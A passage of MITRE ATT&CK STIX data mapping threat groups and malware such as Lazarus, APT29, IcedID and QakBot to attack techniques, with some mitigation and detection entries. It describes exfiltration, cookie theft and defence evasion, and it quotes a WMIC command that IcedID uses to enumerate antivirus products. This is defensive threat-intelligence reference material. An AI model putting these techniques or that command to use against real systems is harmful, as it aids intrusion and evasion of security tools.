2017)(Citation: IBM ZeroCleare Wiper December 2019)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7f74dcb1-6ce2-4247-8ea2-58caea335094","created":"2023-03-17T14:58:43.798Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T17:00:00.117Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) lured victims into executing malicious documents that contained \"dream job\" descriptions from defense, aerospace, and other sectors.(Citation: ClearSky Lazarus Aug 2020)(Citation: McAfee Lazarus Jul 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7f78df2e-e6e9-43f1-815b-58e4a10fc594","created":"2017-05-31T21:33:27.048Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"},{"source_name":"ESET T3 Threat Report 2021","description":"ESET. (2022, February). THREAT REPORT T3 2021. Retrieved February 10, 2022.","url":"https://www.welivesecurity.com/wp-content/uploads/2022/02/eset_threat_report_t32021.pdf"},{"source_name":"Secureworks IRON HEMLOCK Profile","description":"Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022.","url":"http://www.secureworks.com/research/threat-profiles/iron-hemlock"},{"source_name":"Symantec Seaduke 2015","description":"Symantec Security Response. (2015, July 13). “Forkmeiamfamous”: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.","url":"http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.317Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used encoded PowerShell scripts uploaded to [CozyCar](https://attack.mitre.org/software/S0046) installations to download and install [SeaDuke](https://attack.mitre.org/software/S0053).(Citation: Symantec Seaduke 2015)(Citation: Mandiant No Easy Breach)(Citation: ESET T3 Threat Report 2021)(Citation: Secureworks IRON HEMLOCK Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f7bf7a4-4f3a-48a6-bc19-4a139ba165a0","type":"relationship","created":"2020-05-06T21:01:23.467Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.467Z","description":"[Attor](https://attack.mitre.org/software/S0438) has exfiltrated data over the C2 channel.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f7f05aa-a246-48ce-89d2-48035cac5ffa","type":"relationship","created":"2021-09-21T15:10:56.091Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}],"modified":"2021-09-21T15:10:56.091Z","description":"[SpicyOmelette](https://attack.mitre.org/software/S0646) can download malicious files from threat actor controlled AWS URL's.(Citation: Secureworks GOLD KINGSWOOD September 2018)","relationship_type":"uses","source_ref":"malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7f80cb84-3cb5-4de3-a484-1c0a60e2dbcf","created":"2021-10-13T13:30:46.576Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Check Point APT34 April 2021","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-05T14:56:47.130Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used VBScript macros for execution on compromised hosts.(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7f81539c-f287-4f8f-be26-11443d2e19d3","created":"2024-09-05T22:23:09.418Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR_Sodinokibi_Ransomware","description":"DFIR. (2021, March 29). Sodinokibi (aka REvil) Ransomware. Retrieved July 22, 2024.","url":"https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/"},{"source_name":"DFIR_Quantum_Ransomware","description":"DFIR. (2022, April 25). Quantum Ransomware. Retrieved July 26, 2024.","url":"https://thedfirreport.com/2022/04/25/quantum-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T22:32:00.604Z","description":"[IcedID](https://attack.mitre.org/software/S0483) can identify AV products on an infected host using the following command:\n` WMIC.exe WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get * /Format:List`.(Citation: DFIR_Sodinokibi_Ransomware)(Citation: DFIR_Quantum_Ransomware)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7f837da0-8cd8-4e46-a7ae-9fb6c9304df9","created":"2022-03-30T14:26:51.861Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor executed commands and arguments acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.","modified":"2022-04-28T15:04:05.555Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7f8b1475-9e41-41d7-84f5-6c4041c4071a","created":"2023-02-23T18:09:30.019Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender LuminousMoth July 2021","description":"Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.","url":"https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"},{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T16:25:30.262Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has used legitimate executables such as `winword.exe` and `igfxem.exe` to side-load their malware.(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f92fc3c-044c-4095-be4b-f6482a5619d1","type":"relationship","created":"2021-09-28T15:57:33.092Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kroll Qakbot June 2020","url":"https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks","description":"Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021."},{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-09-30T14:30:23.281Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has the ability to capture web session cookies.(Citation: Kroll Qakbot June 2020)(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f9fe6d5-79ba-44ca-bf19-c980e5c2fc11","type":"relationship","created":"2020-12-22T17:48:21.017Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}],"modified":"2020-12-22T17:48:21.017Z","description":"[APT41](https://attack.mitre.org/groups/G0096) has configured payloads to load via LD_PRELOAD.(Citation: Crowdstrike GTR2020 Mar 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7fa1a7c8-0dfb-4bd5-a34f-509ba24da5be","created":"2019-03-29T16:48:43.877Z","x_mitre_version":"1.0","external_references":[{"source_name":"Novetta Blockbuster Destructive Malware","url":"https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[RawDisk](https://attack.mitre.org/software/S0364) has been used to directly access the hard disk to help overwrite arbitrarily sized portions of disk content.(Citation: Novetta Blockbuster Destructive Malware)","modified":"2022-07-28T18:55:36.012Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fa20508-8d9f-4070-8e8b-b71eefade05f","type":"relationship","created":"2021-03-30T17:20:05.920Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-26T16:42:35.869Z","description":"Network prevention intrusion systems and systems designed to scan and remove malicious downloads can be used to block activity.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fa238de-37c5-4224-b760-bf9f00001051","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}],"modified":"2020-02-11T15:55:06.496Z","description":"[Carbanak](https://attack.mitre.org/software/S0030) has a plugin for VNC and Ammyy Admin Tool.(Citation: FireEye CARBANAK June 2017)","relationship_type":"uses","source_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fa49623-f53e-412c-a670-fec891ca6175","type":"relationship","created":"2021-12-06T23:14:44.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-12-06T23:14:44.858Z","description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) will attempt to delete or disable all Registry keys and scheduled tasks related to Microsoft Security Defender and Security Essentials.(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7fa59950-8a54-430f-b10a-4eb12566ece7","created":"2023-03-31T17:50:28.121Z","revoked":false,"external_references":[{"source_name":"ESET Industroyer","description":"Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-31T17:50:28.121Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) used heavily obfuscated code with [Industroyer](https://attack.mitre.org/software/S0604) in its Windows Notepad backdoor.(Citation: ESET Industroyer)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fad18cd-28b4-47b4-8b38-f8beaf1120ad","type":"relationship","created":"2020-02-20T16:58:50.670Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-16T22:36:04.280Z","description":"Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fb33043-4b78-407d-a452-d242349d6c0d","type":"relationship","created":"2022-03-07T19:43:52.099Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCSC Cyclops Blink February 2022","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}],"modified":"2022-03-07T19:43:52.099Z","description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) has the ability to upload exfiltrated files to a C2 server.(Citation: NCSC Cyclops Blink February 2022)","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7fb6c376-1d2b-4dfa-98cc-623b7567f3cf","created":"2022-09-30T15:25:29.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CYBERCOM Iranian Intel Cyber January 2022","description":"Cyber National Mission Force. (2022, January 12). Iranian intel cyber suite of malware uses open source tools. Retrieved September 30, 2022.","url":"https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/"},{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T12:43:55.850Z","description":"[Mori](https://attack.mitre.org/software/S1047) can use DNS tunneling to communicate with C2.(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: CYBERCOM Iranian Intel Cyber January 2022)","relationship_type":"uses","source_ref":"malware--7e100ca4-e639-48d9-9a9d-8ad84aa7b448","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7fb8ef27-0c19-4e31-9122-f89cd4283427","created":"2020-08-31T15:15:56.193Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Valak June 2020","description":"Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020.","url":"https://assets.sentinelone.com/labs/sentinel-one-valak-i"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:35:19.730Z","description":"[Valak](https://attack.mitre.org/software/S0476) can download a module to search for and build a report of harvested credential data.(Citation: SentinelOne Valak June 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fbb56bf-cadd-4663-8067-f233d4c9c751","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T21:01:18.351Z","description":"The initial beacon packet for [S-Type](https://attack.mitre.org/software/S0085) contains the operating system version and file system of the victim.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fbbab0b-8e78-4352-ad0b-ae9a2eeffba5","type":"relationship","created":"2020-06-23T17:59:53.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.649Z","description":"[Avenger](https://attack.mitre.org/software/S0473) can identify the domain of the compromised host.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fc1c3bb-05f7-4593-b8c3-f9833c114672","type":"relationship","created":"2020-03-16T14:56:19.347Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/en-us/library/dn535501.aspx","description":"Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.","source_name":"TechNet Credential Theft"},{"url":"https://technet.microsoft.com/en-us/library/dn487450.aspx","description":"Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.","source_name":"TechNet Least Privilege"},{"url":"https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach","description":"Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.","source_name":"Microsoft Securing Privileged Access"}],"modified":"2021-04-20T20:10:26.732Z","description":"Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fc56f31-3cf9-411c-a6a2-79bbaab13f29","type":"relationship","created":"2019-04-24T20:48:39.788Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2019-06-24T17:20:24.638Z","description":"[jRAT](https://attack.mitre.org/software/S0283) can support RDP control.(Citation: Kaspersky Adwind Feb 2016)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fcb628d-ce4d-48a4-bb9f-b727fe54e6af","type":"relationship","created":"2020-05-08T18:41:16.445Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas December 2014","url":"https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/","description":"GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."},{"source_name":"Unit 42 Inception November 2018","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/","description":"Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."}],"modified":"2020-05-12T15:18:43.914Z","description":"[Inception](https://attack.mitre.org/groups/G0100) has used HTTP, HTTPS, and WebDav in network communications.(Citation: Kaspersky Cloud Atlas December 2014)(Citation: Unit 42 Inception November 2018)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fcd4b9b-87e3-4e8c-abde-84639c85467f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","source_name":"ESET Turla Mosquito Jan 